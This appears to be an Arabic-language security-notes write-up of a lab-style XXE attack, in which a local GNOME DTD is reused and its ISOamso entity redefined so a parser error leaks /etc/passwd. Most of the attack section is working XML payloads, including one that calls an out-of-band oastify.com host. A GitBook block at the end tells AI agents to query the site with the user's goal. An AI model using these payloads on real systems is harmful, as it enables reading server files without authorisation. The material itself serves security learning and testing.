> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# إعادة استخدام DTD محلي لاستخراج البيانات

### استغلال XXE لاستخراج البيانات عبر إعادة استخدام DTD محلية

تشغيل ثغرة XXE على وظيفة التحقق من المخزون: يقوم الخادم بفحص XML لكنه لا يعرض النتيجة مباشرة. النهج هو الإشارة إلى DTD محلية موجودة على الخادم وإعادة تعريف كيان للتسبب في خطأ يحتوي على `/etc/passwd` المحتوى.

الأنظمة التي تستخدم بيئة GNOME غالبًا ما تحتوي على DTD محلية موجودة في `/usr/share/yelp/dtd/docbookx.dtd` التي تُعرّف كيانًا باسم `ISOamso`. باستخدام هذه الـ DTD الموجودة مسبقًا لحقن كيانات معلمية خبيثة

إجبار محلل XML على توليد خطأ يكشف `/etc/passwd` المحتوى عبر إعادة تعريف كيان DTD محلي.

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/f90712fbf3c79c5bbbc3a4c3af29ea734386503a" alt=""><figcaption></figcaption></figure>

تنتج المحاولة السابقة خطأً من جهة الخادم.

<figure><img src="/files/390630828c75aa6082faaf5e26038ee3ba406f26" alt=""><figcaption></figcaption></figure>

تُعلَن DTD المحلية ويتم `ISOamso` إعادة تعريف الكيان لحقن كيانات معلمية تقرأ `/etc/passwd` ثم تُجبر عملية تسريب عبر كيان غير موجود لإحداث خطأ يحتوي على المحتوى المقروء.

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

عند تضمين DTD المحلية وإعادة تعريف `ISOamso` الكيان كما هو مبيّن أعلاه، يحاول المحلل حلّ `exfil` الكيان الذي يشير إلى مسار غير موجود (`file:///noexist/...`). يؤدي هذا الحل إلى خطأ في المحلل والذي يتضمن في تتبّعه نتيجة التوسيع — أي، محتوى `/etc/passwd` يظهر في رسالة الخطأ التي يعيدها الخادم.

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="/files/ef054d03221b355177e57041b7ee63892776e235" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
